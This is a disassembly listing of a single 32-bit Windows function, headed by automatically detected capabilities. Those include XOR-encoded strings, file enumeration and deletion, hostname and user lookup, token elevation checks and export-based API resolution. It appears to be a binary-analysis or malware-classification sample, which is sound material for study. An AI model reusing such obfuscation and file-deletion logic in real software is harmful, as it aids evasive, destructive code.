Function at 0x40da50
Capabilities:
Check if file exists
Delete file
Encode data using xor
Enumerate files on windows
Get common file path
Get hostname
Get session user name
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
mov eax, 0x2980
call fcn.004e6060
mov edi, ecx
call 0x40da6a
pop eax
lea ecx, [esp + 0x970]
mov dword [esp + 0x28], eax
call fcn.00485ee0
mov esi, dword [esp + 0x970]
mov ecx, dword [esp + 0x974]
mov edx, dword [esp + 0x978]
mov eax, esi
neg eax
jno 0x40daa0
mov dword [edi], ecx
mov dword [edi + 4], edx
jmp 0x41285e
mov dword [esp + 0x30], edi
mov dword [esp + 0x1e4], esi
mov dword [esp + 0x34], ecx
call fcn.0048b170
test eax, eax
mov dword [esp], 0
je 0x40daef
mov esi, edx
lea ecx, [esp + 0x970]
mov edx, eax
push esi
call fcn.00416fe0
add esp, 4
xor eax, eax
cmp byte [esp + 0x970], 0
jne 0x40dae6
mov eax, dword [esp + 0x974]
mov ecx, dword [esp + 0x978]
jmp 0x40daf1
xor eax, eax
test eax, eax
mov edx, 0x12
mov ebx, 0x200
mov dword [esp + 0x230], 0
mov dword [esp + 0x234], 2
mov dword [esp + 0x238], 0
mov dword [esp + 8], 2
cmovne edx, ecx
mov dword [esp + 0x110], edx
mov edx, 0xf79dac
cmovne edx, eax
mov dword [esp + 0x24], edx
cmp ebx, 0x201
jb 0x40db5e
jmp 0x40db80
jbe 0x40dc18
cmp ebx, 0x201
jae 0x40db80
mov dword [esp + 0x10], 0x200
lea esi, [esp + 0x970]
mov edi, ebx
jmp 0x40db99
mov edi, dword [esp]
sub ebx, edi
jne 0x40dbeb
mov esi, dword [esp + 8]
mov dword [esp + 0x238], edi
mov dword [esp + 0x10], edi
mov dword [esp], edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0xfd50a4]
push esi
push edi
call eax
mov ebx, eax
test eax, eax
jne 0x40dbbe
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x414d85
cmp ebx, edi
jne 0x40db50
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x414daa
lea ebx, [edi + edi]
test edi, edi
mov eax, 0xffffffff
cmovs ebx, eax
cmp ebx, 0x201
jae 0x40db80
jmp 0x40db5e
lea ecx, [esp + 0x230]
mov edx, edi
push 2
push 2
push ebx
call fcn.004ea1e0
add esp, 0xc
mov eax, dword [esp + 0x234]
mov edi, dword [esp + 0x230]
mov dword [esp + 8], eax
jmp 0x40db87
cmp ebx, dword [esp + 0x10]
ja 0x414daa
lea ecx, [esp + 0x740]
mov edx, esi
push ebx
call fcn.00484c00
add esp, 4
cmp dword [esp + 0x230], 0
je 0x40dc53
push dword [esp + 0x234]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x740]
mov eax, esi
neg eax
jo 0x414daa
mov eax, dword [esp + 0x744]
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 4
mov dword [esp + 0x84], 0
mov edi, dword [esp + 0x748]
mov dword [esp + 0xb8], eax
mov eax, dword [0xfd5028]
cmp eax, 2
jne 0x40edfc
test edi, edi
mov dword [esp + 0x8c], edi
js 0x414daa
mov edi, dword [0xfd5030]
mov eax, dword [0xfd5034]
mov dword [esp + 0x1e0], esi
mov dword [esp], eax
je 0x40dced
movzx eax, byte [0xfd520d]
mov ebx, dword [esp + 0x8c]
xor ecx, ecx
mov edx, ebx
call fcn.00494530
mov esi, eax
test eax, eax
jne 0x40dcf9
jmp 0x414daa
mov ebx, dword [esp + 0x8c]
mov esi, 1
push ebx
push dword [esp + 0xbc]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x970], ebx
mov dword [esp + 0x974], esi
mov dword [esp + 0x978], ebx
mov byte [esp + 0x97c], 0
lea ecx, [esp + 0x970]
mov edx, edi
push dword [esp]
call fcn.004871d0
add esp, 4
mov eax, dword [esp + 0x970]
mov edi, dword [esp + 0x978]
mov dword [esp + 0x1dc], eax
mov eax, dword [esp + 0x974]
mov dword [esp + 0xbc], eax
movzx eax, byte [esp + 0x97c]
mov byte [esp + 0x12c], al
mov eax, dword [0xfd5078]
cmp eax, 2
jne 0x40ee1f
mov ebx, dword [0xfd5084]
test ebx, ebx
js 0x414daa
mov dword [esp + 0x10c], edi
je 0x40dde3
mov esi, dword [0xfd5080]
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, ebx
xor edi, edi
call fcn.00494530
test eax, eax
je 0x414daa
nop word cs:[eax + eax]
nop dword [eax]
mov ecx, edi
and ecx, 3
movzx ecx, byte [ecx + 0x4ebf90]
xor cl, byte [esi + edi]
mov byte [eax + edi], cl
inc edi
cmp ebx, edi
jne 0x40ddc0
mov edi, dword [esp + 0x10c]
mov dword [esp], eax
jmp 0x40ddea
mov dword [esp], 1
mov edx, dword [esp + 0xbc]
lea eax, [esp + 0x970]
pxor xmm0, xmm0
mov dword [esp + 0x970], 0
mov dword [esp + 0x978], 0
mov dword [esp + 0x97c], 0
mov dword [esp + 0x980], 7
lea ecx, [esp + 0x740]
movq qword [esp + 0x98a], xmm0
movq qword [esp + 0x984], xmm0
mov byte [esp + 0x98d], 1
mov word [esp + 0x98f], 0x101
push eax
push edi
call fcn.004862a0
add esp, 8
cmp byte [esp + 0x740], 4
jne 0x40de70
mov esi, dword [esp + 0x744]
jmp 0x40de86
mov eax, dword [esp + 0x740]
mov esi, dword [esp + 0x744]
cmp al, 4
jne 0x40df60
mov dword [esp + 0x4e0], esi
lea ecx, [esp + 0x970]
lea edx, [esp + 0x4e0]
push ebx
push dword [esp + 4]
call fcn.004019e0
add esp, 8
cmp byte [esp + 0x970], 4
jne 0x40decb
mov edx, dword [esp + 0xbc]
lea ecx, [esp + 0x230]
push edi
call fcn.00414de0
add esp, 4
jmp 0x40dee7
mov eax, dword [esp + 0x970]
mov ecx, dword [esp + 0x974]
mov dword [esp + 0x234], ecx
mov dword [esp + 0x230], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp]
test ebx, ebx
je 0x40df04
push eax
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [esp + 0x230]
cmp al, 4
jne 0x40df33
test edi, edi
js 0x414daa
je 0x40df97
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, edi
call fcn.00494530
test eax, eax
jne 0x40df9c
jmp 0x414daa
mov ecx, dword [esp + 0x231]
mov edx, dword [esp + 0x234]
mov esi, dword [esp + 0x30]
mov dword [esi + 4], edx
mov dword [esi + 1], ecx
mov byte [esi], al
cmp dword [esp + 0x1dc], 0
jne 0x4127b5
jmp 0x4127ca
mov ecx, eax
shr ecx, 8
mov word [esp + 0x231], cx
mov ecx, eax
shr ecx, 0x18
mov byte [esp + 0x233], cl
mov byte [esp + 0x230], al
mov dword [esp + 0x234], esi
mov eax, dword [esp]
test ebx, ebx
jne 0x40def5
jmp 0x40df04
mov eax, 1
push edi
push dword [esp + 0xc0]
mov dword [esp + 8], eax
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, dword [esp + 0x84]
cmp edi, dword [esp + 0x7c]
jne 0x40dfc7
lea ecx, [esp + 0x7c]
call fcn.004a7f80
mov ebx, dword [esp + 0x80]
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp]
mov esi, edi
inc edi
shl esi, 4
mov dword [ebx + esi], eax
mov dword [ebx + esi + 4], ecx
mov dword [ebx + esi + 8], eax
movzx eax, byte [esp + 0x12c]
mov byte [ebx + esi + 0xc], al
mov dword [esp + 0x84], edi
mov dword [esp + 0x230], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea ecx, [esp + 0x230]
push ecx
push 8
push eax
call sub.ADVAPI32.dll_OpenProcessToken
test eax, eax
je 0x40e0a8
lea eax, [esp + 0x970]
mov dword [esp + 0x740], 0
mov dword [esp + 0x970], 0
push eax
push 4
lea eax, [esp + 0x748]
push eax
push 0x14
push dword [esp + 0x240]
call sub.ADVAPI32.dll_GetTokenInformation
mov dword [esp], eax
push dword [esp + 0x230]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp], 0
je 0x40e0a8
cmp dword [esp + 0x740], 0
je 0x40e0a8
mov edi, dword [esp + 0x8c]
test edi, edi
je 0x40ee41
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, edi
call fcn.00494530
mov esi, eax
test eax, eax
jne 0x40ee46
jmp 0x414daa
test edi, edi
mov dword [esp + 0x4e0], 0
mov dword [esp + 0x4e4], 4
mov dword [esp + 0x4e8], 0
je 0x40e34c
add ebx, 8
add esi, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
jmp 0x40e121
mov eax, dword [esp + 0x10]
movzx ecx, dl
mov edx, dword [esp + 4]
shl eax, 8
or ecx, eax
mov eax, dword [esp]
mov dword [edx + eax*8], ecx
mov dword [edx + eax*8 + 4], edi
inc eax
mov dword [esp], eax
mov dword [esp + 0x4e8], eax
add ebx, 0x10
add esi, 0xfffffff0
je 0x40e2d1
mov edx, dword [ebx - 4]
lea ecx, [esp + 0x970]
push dword [ebx]
call fcn.00488870
add esp, 4
mov eax, dword [esp + 0x970]
xor eax, 2
or eax, dword [esp + 0x974]
jne 0x40e1b0
cmp byte [esp + 0x978], 3
jne 0x40e115
mov eax, dword [esp + 0x97c]
mov edi, dword [eax + 4]
mov ecx, dword [eax]
mov dword [esp + 8], eax
mov eax, dword [edi]
test eax, eax
je 0x40e176
push ecx
mov dword [esp + 0x10], ecx
call eax
mov ecx, dword [esp + 0x10]
add esp, 4
cmp dword [edi + 4], 0
je 0x40e194
cmp dword [edi + 8], 9
jb 0x40e185
mov ecx, dword [ecx - 4]
push ecx
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 8]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40e115
mov edx, dword [ebx - 4]
lea ecx, [esp + 0x740]
push dword [ebx]
call fcn.00485be0
add esp, 4
mov eax, dword [esp + 0x740]
mov edx, dword [esp + 0x744]
mov edi, dword [esp + 0x748]
mov ecx, eax
neg ecx
jo 0x40e227
lea ecx, [esp + 0x230]
mov dword [esp + 0x970], eax
mov dword [esp + 0x974], edx
mov dword [esp + 0x978], edi
lea edx, [esp + 0x970]
push 1
call fcn.00486c90
add esp, 4
mov ecx, dword [esp + 0x230]
mov eax, ecx
neg eax
jno 0x40e26e
mov edx, dword [esp + 0x234]
mov edi, dword [esp + 0x238]
mov eax, edx
shrd eax, edi, 8
cmp dl, 4
mov dword [esp + 0x10], eax
je 0x40e115
mov eax, dword [esp]
cmp eax, dword [esp + 0x4e0]
jne 0x40e0f0
lea ecx, [esp + 0x4e0]
mov dword [esp + 8], edx
call fcn.004b18a0
mov edx, dword [esp + 8]
mov eax, dword [esp + 0x4e4]
mov dword [esp + 4], eax
jmp 0x40e0f0
mov edi, dword [esp + 0x234]
mov dword [esp + 8], ecx
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40e295
cmp dword [esp + 8], 0
je 0x40e115
push edi
jmp 0x40e198
mov dword [esp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esp + 8], 0
mov edi, eax
je 0x40e2ba
push dword [esp + 0xc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
mov eax, dword [esp]
cmp eax, dword [esp + 0x4e0]
jne 0x40e0f0
jmp 0x40e24a
mov eax, dword [esp + 0x4e4]
cmp dword [esp], 0
je 0x40e351
xor edi, edi
mov dword [esp + 8], eax
jmp 0x40e318
push ecx
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 8]
inc edi
cmp dword [esp], edi
je 0x40e351
cmp byte [eax + edi*8], 3
jne 0x40e312
mov ebx, dword [eax + edi*8 + 4]
mov esi, dword [ebx + 4]
mov ecx, dword [ebx]
mov eax, dword [esi]
test eax, eax
je 0x40e33b
push ecx
mov dword [esp + 0x14], ecx
call eax
mov ecx, dword [esp + 0x14]
add esp, 4
cmp dword [esi + 4], 0
je 0x40e2ff
cmp dword [esi + 8], 9
jb 0x40e2f0
mov ecx, dword [ecx - 4]
jmp 0x40e2f0
mov eax, 4
cmp dword [esp + 0x4e0], 0
je 0x40e36a
push eax
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [0xf71776]
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0xf4b1f743
mov edx, dword [esp + 0x970]
call fcn.00407ba0
mov ecx, 0xa2c88227
mov esi, 0x9e5a84ff
mov edx, 0x1665703d
xor ecx, dword [eax]
mov dword [esp], ecx
mov ecx, 0xe30b5741
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0xb58545b0
xor ecx, dword [eax + 8]
mov dword [esp + 8], ecx
mov ecx, 0xbb5a2e09
xor ecx, dword [eax + 0xc]
mov dword [esp + 4], ecx
mov ecx, 0x2df559c4
xor ecx, dword [eax + 0x10]
mov dword [esp + 0xc], ecx
mov ecx, 0x5f7ecee2
xor ecx, dword [eax + 0x14]
mov dword [esp + 0x2c], ecx
mov ecx, 0x52fb7bd3
xor ecx, dword [eax + 0x18]
mov dword [esp + 0x4c], ecx
mov ecx, 0x8da1a773
xor ecx, dword [eax + 0x1c]
mov dword [esp + 0x38], ecx
mov ecx, 0x90bce154
xor ecx, dword [eax + 0x20]
mov dword [esp + 0x48], ecx
mov ecx, 0xb4330d8c
xor esi, dword [eax + 0x24]
xor edx, dword [eax + 0x28]
xor ecx, dword [eax + 0x2c]
movzx ebx, byte [eax + 0x32]
movzx eax, word [eax + 0x30]
mov edi, dword [esp]
mov dword [esp + 0x740], 0xf79d9c
mov dword [esp + 0x744], 2
mov dword [esp + 0x750], 0
mov dword [esp + 0x970], edi
mov edi, dword [esp + 0x10]
xor al, 0xed
xor ah, 0xe
xor bl, 0xde
mov dword [esp + 0x974], edi
mov edi, dword [esp + 8]
mov dword [esp + 0x978], edi
mov edi, dword [esp + 4]
mov dword [esp + 0x97c], edi
mov edi, dword [esp + 0xc]
mov dword [esp + 0x980], edi
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x984], edi
mov edi, dword [esp + 0x4c]
mov dword [esp + 0x988], edi
mov edi, dword [esp + 0x38]
mov dword [esp + 0x98c], edi
mov edi, dword [esp + 0x48]
mov dword [esp + 0x990], edi
mov dword [esp + 0x994], esi
mov dword [esp + 0x998], edx
mov dword [esp + 0x99c], ecx
lea ecx, [esp + 0x970]
lea edx, [esp + 0x230]
mov byte [esp + 0x9a0], al
mov byte [esp + 0x9a1], ah
mov byte [esp + 0x9a2], bl
mov dword [esp + 0x230], ecx
lea ecx, [esp + 0x4e0]
mov dword [esp + 0x4e0], edx
mov dword [esp + 0x234], 0x33
mov dword [esp + 0x4e4], 0x49bdf0
mov dword [esp + 0x748], ecx
lea ecx, [esp + 0x740]
mov dword [esp + 0x74c], 1
call fcn.00489d20
mov esi, 0x80000000
mov dword [esp + 0x10], 0
mov eax, dword [0xfd503c]
mov ebx, dword [esp + 0x8c]
cmp eax, 2
jne 0x412afc
mov eax, dword [0xfd5048]
mov edi, dword [0xfd5044]
test ebx, ebx
mov dword [esp + 0x2c], esi
mov dword [esp], eax
je 0x40e58c
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, ebx
call fcn.00494530
mov esi, eax
test eax, eax
jne 0x40e591
jmp 0x414daa
mov esi, 1
push ebx
push dword [esp + 0xbc]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x970], ebx
mov dword [esp + 0x974], esi
mov dword [esp + 0x978], ebx
mov byte [esp + 0x97c], 0
lea ecx, [esp + 0x970]
mov edx, edi
push dword [esp]
call fcn.004871d0
add esp, 4
movq xmm0, qword [esp + 0x970]
movsd xmm1, qword [esp + 0x978]
movsd qword [esp + 0x138], xmm1
movq qword [esp + 0x130], xmm0
mov eax, dword [0xfd508c]
cmp eax, 2
jne 0x40f0a8
mov edi, dword [0xfd5098]
test edi, edi
js 0x414daa
je 0x40e65c
mov esi, dword [0xfd5094]
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, edi
xor ebx, ebx
call fcn.00494530
test eax, eax
je 0x414daa
nop word cs:[eax + eax]
nop
mov ecx, ebx
and ecx, 3
movzx ecx, byte [ecx + 0xd44f94]
xor cl, byte [esi + ebx]
mov byte [eax + ebx], cl
inc ebx
cmp edi, ebx
jne 0x40e640
mov dword [esp], eax
jmp 0x40e663
mov dword [esp], 1
mov edx, dword [esp + 0x134]
lea eax, [esp + 0x970]
pxor xmm0, xmm0
mov dword [esp + 0x970], 0
mov dword [esp + 0x978], 0
mov dword [esp + 0x97c], 0
mov dword [esp + 0x980], 7
lea ecx, [esp + 0x740]
movq qword [esp + 0x98a], xmm0
movq qword [esp + 0x984], xmm0
mov byte [esp + 0x98d], 1
mov word [esp + 0x98f], 0x101
push eax
push dword [esp + 0x13c]
call fcn.004862a0
add esp, 8
cmp byte [esp + 0x740], 4
jne 0x40e6ef
mov esi, dword [esp + 0x744]
jmp 0x40e706
mov ebx, dword [esp + 0x740]
mov esi, dword [esp + 0x744]
cmp bl, 4
jne 0x40e80c
mov dword [esp + 0x230], esi
lea ecx, [esp + 0x970]
lea edx, [esp + 0x230]
push edi
push dword [esp + 4]
call fcn.004019e0
add esp, 8
cmp byte [esp + 0x970], 4
jne 0x40e777
mov edx, dword [esp + 0x134]
lea ecx, [esp + 0x970]
push dword [esp + 0x138]
call fcn.00414de0
add esp, 4
cmp byte [esp + 0x970], 4
jne 0x40e777
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40e7b9
push dword [esp]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40e7b9
mov eax, dword [esp + 0x970]
mov ebx, dword [esp + 0x974]
mov dword [esp + 4], eax
shrd eax, ebx, 8
mov dword [esp + 8], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, ebx
mov ebx, dword [esp + 4]
mov eax, dword [esp]
test edi, edi
je 0x40e7b4
push eax
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp bl, 4
jne 0x40e7ec
mov edi, dword [esp + 0x138]
test edi, edi
js 0x414daa
mov esi, dword [esp + 0x134]
je 0x40e81e
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, edi
call fcn.00494530
mov ebx, eax
test eax, eax
jne 0x40e823
jmp 0x414daa
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 8]
mov byte [eax], bl
mov word [eax + 1], cx
shr ecx, 0x10
mov byte [eax + 3], cl
mov dword [eax + 4], esi
mov esi, dword [esp + 0x2c]
jmp 0x412780
mov eax, ebx
shr eax, 8
mov dword [esp + 8], eax
mov eax, dword [esp]
test edi, edi
jne 0x40e7a5
jmp 0x40e7b4
mov ebx, 1
push edi
push esi
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, dword [esp + 0x84]
movzx edx, byte [esp + 0x13c]
cmp esi, dword [esp + 0x7c]
jne 0x40e853
lea ecx, [esp + 0x7c]
mov byte [esp], dl
call fcn.004a7f80
movzx edx, byte [esp]
mov ecx, dword [esp + 0x80]
mov eax, esi
inc esi
shl eax, 4
mov dword [ecx + eax], edi
mov dword [ecx + eax + 4], ebx
mov dword [ecx + eax + 8], edi
mov byte [ecx + eax + 0xc], dl
mov dword [esp + 0x84], esi
mov eax, dword [0xfd503c]
cmp eax, 2
jne 0x40f1f0
mov edx, dword [esp + 0x24]
mov eax, dword [0xfd5044]
mov ecx, dword [0xfd5048]
mov dword [esp + 0x970], 0
mov dword [esp + 0x974], 0
mov dword [esp + 0x454], edx
mov edx, dword [esp + 0x110]
mov dword [esp + 0x45c], eax
lea eax, [esp + 0x970]
mov dword [esp + 0x460], ecx
mov dword [esp + 0x458], edx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimePreciseAsFileTime]
mov edx, dword [esp + 0x970]
mov ecx, dword [esp + 0x974]
mov eax, 0xd53e8000
mov ebx, 0x19db1de
sub eax, edx
mov esi, edx
mov edi, ecx
sbb ebx, ecx
add esi, 0x2ac18000
adc edi, 0xfe624e21
cmp edx, 0xd53e8000
sbb ecx, 0x19db1de
cmovl edi, ebx
cmovl esi, eax
setl bl
push 0
push 0x989680
push edi
push esi
call fcn.004e5ff0
test bl, bl
jne 0x414daa
push 0
push 0x15180
push edx
mov dword [esp + 0xc], eax
push eax
call fcn.004e6090
mov dword [esp + 0x110], eax
push 0xc9
push 0x2a69c000
push edi
push esi
call fcn.004e5ff0
mov ebx, eax
mov ecx, 0xe5ac1b
add ebx, 0xafaa8
mov eax, ebx
mul ecx
mov ecx, edx
mov edx, 0xb38cfa
shr ecx, 9
imul eax, ecx, 0x23ab1
sub ebx, eax
mov eax, ebx
mul edx
movzx edi, byte [edx + 0xf7a668]
imul eax, edx, 0x16d
sub ebx, eax
mov eax, ebx
sub eax, edi
jae 0x40e9b7
dec edx
cmp edx, 0x190
ja 0x414daa
movzx eax, byte [edx + 0xf7a668]
sub ebx, eax
add ebx, 0x16d
mov eax, ebx
jmp 0x40e9c3
cmp edx, 0x18f
ja 0x414daa
cmp eax, 0x16d
ja 0x414daa
imul ecx, ecx, 0x190
shl eax, 4
add ecx, edx
movzx edx, byte [edx + 0xf7a4d8]
shl ecx, 0xd
lea eax, [eax + ecx + 0x10]
or edx, eax
mov dword [esp + 0x24], edx
and edx, 0x1ff8
cmp edx, 0x16e1
mov dword [esp + 0x88], edx
jae 0x414daa
mov edi, eax
mov ecx, 0x786b
shr edi, 0xd
cmp edi, 0x786b
cmovb ecx, edi
cmp eax, 0xc82000
mov eax, 0x641
cmovae eax, ecx
lea ecx, [esp + 0x970]
movzx eax, ax
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformationForYear]
test eax, eax
je 0x414daa
movsd xmm1, qword [esp + 0x9bc]
mov eax, dword [esp + 0x970]
mov ecx, dword [esp + 0x9c4]
movq xmm0, qword [esp + 0x9b4]
movsd xmm2, qword [esp + 0xa08]
movsd qword [esp + 0x4e8], xmm1
movsd xmm1, qword [esp + 0xa10]
add ecx, eax
movq qword [esp + 0x4e0], xmm0
movsd qword [esp + 0x230], xmm2
movsd qword [esp + 0x238], xmm1
jo 0x414daa
imul ebx, ecx, 0x3c
jo 0x414daa
lea ecx, [ebx + 0x1517f]
cmp ecx, 0x2a2fe
ja 0x414daa
add eax, dword [esp + 0xa18]
jo 0x414daa
imul ecx, eax, 0x3c
jo 0x414daa
lea eax, [ecx + 0x1517f]
cmp eax, 0x2a2fe
ja 0x414daa
mov dword [esp + 8], ecx
lea ecx, [esp + 0x970]
lea edx, [esp + 0x4e0]
push edi
call fcn.00415f10
add esp, 4
cmp dword [esp + 0x970], 1
je 0x414daa
mov ecx, dword [esp + 0x978]
mov eax, edi
mov edi, dword [esp + 0x974]
lea edx, [esp + 0x230]
mov dword [esp + 0x78], eax
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x97c]
mov dword [esp + 4], ecx
lea ecx, [esp + 0x970]
push eax
call fcn.00415f10
add esp, 4
cmp dword [esp + 0x970], 1
je 0x414daa
imul eax, dword [esp], 0x989680
mov edx, dword [esp + 0x974]
mov ecx, dword [esp + 0x978]
neg ebx
sub esi, eax
imul eax, esi, 0x64
mov esi, dword [esp + 8]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x97c]
neg esi
test edi, edi
je 0x40ecab
test edx, edx
je 0x40ed98
mov dword [esp + 0x158], edi
mov edi, dword [esp + 0xc]
mov dword [esp + 0x90], edx
mov dword [esp + 0x94], ecx
lea ecx, [esp + 0x230]
lea edx, [esp + 0x158]
mov dword [esp + 0x98], eax
mov dword [esp + 0x15c], edi
mov edi, dword [esp + 4]
mov dword [esp + 0x160], edi
push esi
call fcn.00415d90
add esp, 4
lea ecx, [esp + 0x970]
lea edx, [esp + 0x90]
mov edi, ebx
push ebx
call fcn.00415d90
add esp, 4
mov eax, dword [esp + 0x970]
mov ecx, dword [esp + 0x230]
cmp eax, ecx
setl dl
jne 0x40ed1b
mov edx, dword [esp + 0x974]
cmp edx, dword [esp + 0x234]
setb dl
jne 0x40ed1b
mov edx, dword [esp + 0x978]
cmp edx, dword [esp + 0x238]
jb 0x40ed23
xor edx, edx
cmp dword [esp + 0x24], ecx
mov ecx, 0xff
setne dl
cmovl edx, ecx
test dl, dl
jne 0x40ec6d
mov ebx, esi
mov esi, dword [esp + 0x110]
xor edx, edx
cmp dword [esp + 0x234], esi
mov esi, ebx
setne dl
cmova edx, ecx
test dl, dl
je 0x40f3d8
cmp dl, 1
ja 0x40f3fe
cmp dword [esp + 0x24], eax
jne 0x40f204
mov ecx, dword [esp + 0x38]
xor eax, eax
mov edx, dword [esp + 0x110]
cmp ecx, dword [esp + 0x978]
setb al
xor ecx, ecx
cmp dword [esp + 0x974], edx
seta cl
cmovne eax, ecx
jmp 0x40f207
test edx, edx
je 0x40f400
mov dword [esp + 0xc0], edx
mov dword [esp + 0xc4], ecx
mov dword [esp + 0xc8], eax
lea ecx, [esp + 0x970]
lea edx, [esp + 0xc0]
push ebx
call fcn.00415d90
add esp, 4
mov eax, dword [esp + 0x24]
cmp eax, dword [esp + 0x970]
jne 0x40f08e
mov ecx, dword [esp + 0x38]
xor eax, eax
mov edx, dword [esp + 0x110]
cmp ecx, dword [esp + 0x978]
setb al
xor ecx, ecx
cmp dword [esp + 0x974], edx
seta cl
cmovne eax, ecx
jmp 0x40f091
test dl, dl
je 0x40ec36
xor edx, edx
cmp dword [esp + 0x24], eax
mov eax, 0xff
setne dl
cmovl edx, eax
test dl, dl
jne 0x40ed5a
mov ebx, esi
mov esi, dword [esp + 0x110]
xor edx, edx
cmp dword [esp + 0x974], esi
mov esi, ebx
setne dl
cmova edx, eax
test dl, dl
je 0x40f3eb
cmp dl, 1
ja 0x40f3fc
cmp dword [esp + 0x24], ecx
jne 0x40f211
mov ecx, dword [esp + 0x38]
xor eax, eax
mov edx, dword [esp + 0x110]
cmp ecx, dword [esp + 0x238]
setb al
xor ecx, ecx
cmp dword [esp + 0x234], edx
seta cl
cmovne eax, ecx
jmp 0x40f214
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 4]
mov dword [esp + 0x50], edi
lea edx, [esp + 0x50]
mov dword [esp + 0x58], ecx
mov dword [esp + 0x54], eax
lea ecx, [esp + 0x970]
push esi
call fcn.00415d90
add esp, 4
mov eax, dword [esp + 0x24]
cmp eax, dword [esp + 0x970]
jne 0x40f09b
mov ecx, dword [esp + 0x38]
xor eax, eax
mov edx, dword [esp + 0x110]
cmp ecx, dword [esp + 0x978]
setb al
xor ecx, ecx
cmp dword [esp + 0x974], edx
seta cl
cmovne eax, ecx
jmp 0x40f09e
mov ecx, 0xfd5028
mov edx, 0xfd5028
call fcn.004e7900
test edi, edi
mov dword [esp + 0x8c], edi
jns 0x40dcb4
jmp 0x414daa
mov ecx, 0xfd5078
mov edx, 0xfd5078
call fcn.004e7900
mov ebx, dword [0xfd5084]
test ebx, ebx
jns 0x40dd89
jmp 0x414daa
mov esi, 1
push edi
push dword [esp + 0xbc]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x970], edi
mov dword [esp + 0x974], esi
mov dword [esp + 0x978], edi
mov byte [esp + 0x97c], 0
lea ecx, [esp + 0x970]
mov edx, 0xf79dbe
push 8
call fcn.004871d0
add esp, 4
mov eax, dword [esp + 0x970]
mov ebx, dword [esp + 0x978]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x974]
test ebx, ebx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x97c]
mov dword [esp + 0x1d8], eax
lea eax, [0xf6af30]
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
mov dword [esp + 0x970], 0xf52944b2
lea eax, [esp + 0x970]
mov dword [esp + 0x108], ebx
je 0x412a65
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x970]
push ebx
call fcn.00488870
add esp, 4
mov eax, dword [esp + 0x970]
xor eax, 2
or eax, dword [esp + 0x974]
jne 0x40ef70
cmp byte [esp + 0x978], 3
jne 0x412a65
mov esi, dword [esp + 0x97c]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
test eax, eax
je 0x40ef37
push edi
call eax
add esp, 4
cmp dword [ebx + 4], 0
je 0x40ef55
cmp dword [ebx + 8], 9
jb 0x40ef46
mov edi, dword [edi - 4]
push edi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esp + 0x108]
jmp 0x412a65
lea esi, [esp + 0x970]
lea edx, [esp + 0x183]
mov ecx, esi
push 0
call fcn.004c0d70
add esp, 4
lea ecx, [esp + 0x740]
mov edx, esi
call fcn.004a7290
cmp dword [esp + 0x740], 3
jne 0x40f0ca
mov esi, dword [esp + 0x74c]
mov ebx, dword [esp + 0x744]
